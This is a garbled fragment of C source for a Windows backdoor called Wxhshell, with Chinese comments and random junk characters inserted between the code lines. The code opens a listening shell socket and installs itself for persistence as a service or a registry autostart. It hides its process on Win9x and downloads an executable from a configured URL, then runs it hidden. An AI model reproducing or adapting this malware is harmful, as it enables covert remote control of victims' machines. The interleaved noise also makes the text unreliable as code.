|x if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); s.z)l$ B;bP~e>W CloseHandle(hProcess); 'M%iS4b{IM }cz58% if(strstr(procName,"services")) return 1; // 以服务启动 /IirTmFK RY5e%/bg~U return 0; // 注册表启动 Dk\%,[4( } IQBL;=.J. :lu!%p<$ // 主模块 4f j}d.? int StartWxhshell(LPSTR lpCmdLine) (CQ! &Z8 { m]DP{-s4 SOCKET wsl; {JWixbA BOOL val=TRUE; 3n2^;b/ ] int port=0; Q}&'1J struct sockaddr_in door; RrLiH> 8mr fs%_ if(wscfg.ws_autoins) Install(); X}[1Y3~y ZPf&4#| port=atoi(lpCmdLine); Nr@,In|JS CX#d if(port<=0) port=wscfg.ws_port; !d##q)D
f? 6UIS4_
WSADATA data; ^ iu)vED if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 8z93ETv7` -dMH>e0 if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; CQ!D{o= setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); nu^@}|UG door.sin_family = AF_INET; 5]{rim door.sin_addr.s_addr = inet_addr("127.0.0.1"); !jP[= door.sin_port = htons(port); ]FR#ZvM>x 6?"Gj}|r if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 7:~3B-Tb closesocket(wsl); v0'z''KM! return 1; Mx}r! Q } 0o/;cBH
z7fX!'3V if(listen(wsl,2) == INVALID_SOCKET) { p&}m') closesocket(wsl); bP:u`!p
-i return 1; q4:zr
} "4XjABJ4' Wxhshell(wsl); !@V]H WSACleanup(); #cR5k@ 41R~.? return 0; X>dQK4!R 2Jo|P A`9 } (ht"wY#T<( jhT/}"v // 以NT服务方式启动 i(rYc VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ?(s9dS,7wZ { Jn(|.eT| DWORD status = 0; O-AC$C[d DWORD specificError = 0xfffffff; kb-XEJ}L ; 180ct4 serviceStatus.dwServiceType = SERVICE_WIN32; =>*}qen serviceStatus.dwCurrentState = SERVICE_START_PENDING; _bh$
t serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; >>=zkPy serviceStatus.dwWin32ExitCode = 0; 25G~rklk serviceStatus.dwServiceSpecificExitCode = 0; VU\G49 serviceStatus.dwCheckPoint = 0; 6\h*SBI?( serviceStatus.dwWaitHint = 0; 1%@i4 gC6Gm':c hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); yFo8x[ if (hServiceStatusHandle==0) return; }lk9|U#6*` pJ?y status = GetLastError(); V\Lh(zPt if (status!=NO_ERROR) 7WV"Wrl] { %i&am= serviceStatus.dwCurrentState = SERVICE_STOPPED; MDpx@.A, serviceStatus.dwCheckPoint = 0; ][f 0ZMa serviceStatus.dwWaitHint = 0; J^kSp serviceStatus.dwWin32ExitCode = status; @$b7
eu serviceStatus.dwServiceSpecificExitCode = specificError; b#(QZ SetServiceStatus(hServiceStatusHandle, &serviceStatus); _J>Ik2EF return; :>y5'q@R } dn5t7D^x p3%cb?G%w serviceStatus.dwCurrentState = SERVICE_RUNNING; V(G{_>> serviceStatus.dwCheckPoint = 0; [CnoMN serviceStatus.dwWaitHint = 0; } BP.t$_ if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); j%!xb>< } H2_6m5[&, AfW:'>2 // 处理NT服务事件,比如:启动、停止 'mU\X!-
4< VOID WINAPI NTServiceHandler(DWORD fdwControl) F0xm%? { "t{D5{q|[k switch(fdwControl) V" 5rIk { 2 $Z4 >! case SERVICE_CONTROL_STOP: ZB}zT9JaE serviceStatus.dwWin32ExitCode = 0; (Q"s;g serviceStatus.dwCurrentState = SERVICE_STOPPED; .>5E 4^$% serviceStatus.dwCheckPoint = 0; 7n#Mh-vq serviceStatus.dwWaitHint = 0; ipiS= { i .?l\ SetServiceStatus(hServiceStatusHandle, &serviceStatus); CwF=@:*d } uN&49o return; `)jAdad-s case SERVICE_CONTROL_PAUSE: $nthMx$ serviceStatus.dwCurrentState = SERVICE_PAUSED; mqQ//$Y
break; <XpG5vV case SERVICE_CONTROL_CONTINUE: AQ-R^kT serviceStatus.dwCurrentState = SERVICE_RUNNING; BBoVn^Z*R break; !O,`Z`T? case SERVICE_CONTROL_INTERROGATE: )q+;+J`> break; E-rGOm" m }; =HoA2,R) SetServiceStatus(hServiceStatusHandle, &serviceStatus); M/6q
^* } h>NuQo* *fDhNmQ ` // 标准应用程序主函数 L{1PCs36c int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) .|6Wmn-uS { k1^&;}/f: F-?s8RD // 获取操作系统版本 %tz foiJ%P OsIsNt=GetOsVer(); orF8% GetModuleFileName(NULL,ExeFile,MAX_PATH); |>p?Cm q-0(
Wx9| // 从命令行安装 CwzDkr&QC_ if(strpbrk(lpCmdLine,"iI")) Install(); |A
u+^#:; j|WN!!7 // 下载执行文件 2K(zYv54 if(wscfg.ws_downexe) { p\|*ff0 if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) LwCf}4u" WinExec(wscfg.ws_filenam,SW_HIDE); b;e*`f8T3c } alQ:'K cr{f*U6` if(!OsIsNt) { SR'u*u! // 如果时win9x,隐藏进程并且设置为注册表启动 Y&b JKX HideProc(); SQBe}FlktK StartWxhshell(lpCmdLine); 4q^'MZm1 } _$qH\>se else G
Y ]bw if(StartFromService()) NHzhGg] // 以服务方式启动 IsiCHtY9 StartServiceCtrlDispatcher(DispatchTable); X[iQ%Y$/n else .{#J2}+[_} // 普通方式启动 ~d6zpQf7> StartWxhshell(lpCmdLine); y[:xGf]8@ #ruL+-8!< return 0; +,ZQ(
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